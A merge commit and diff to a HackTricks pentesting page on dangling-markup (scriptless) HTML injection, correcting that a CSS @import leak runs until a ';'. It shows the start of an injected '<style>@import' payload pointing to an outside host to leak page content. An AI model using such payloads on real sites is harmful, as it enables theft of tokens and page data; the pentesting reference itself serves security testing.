Merge pull request HackTricks-wiki#243 from rishuranjanofficial/patch-1

Update in content

pentesting-web/dangling-markup-html-scriptless-injection.md

@@ -23,7 +23,7 @@ If the `img` tag is forbidden \(due to CSP for example\) you can also use `<meta
 
 Note that **Chrome blocks HTTP URLs** with "&lt;" or "\n" in it, so you could try other protocol schemes like "ftp".
 
-You can also abuse CSS `@import` \(will send all the code until it find a ":"\)
+You can also abuse CSS `@import` \(will send all the code until it find a ";"\)
 
 ```markup
 <style>@import//hackvertor.co.uk?     <--- Injected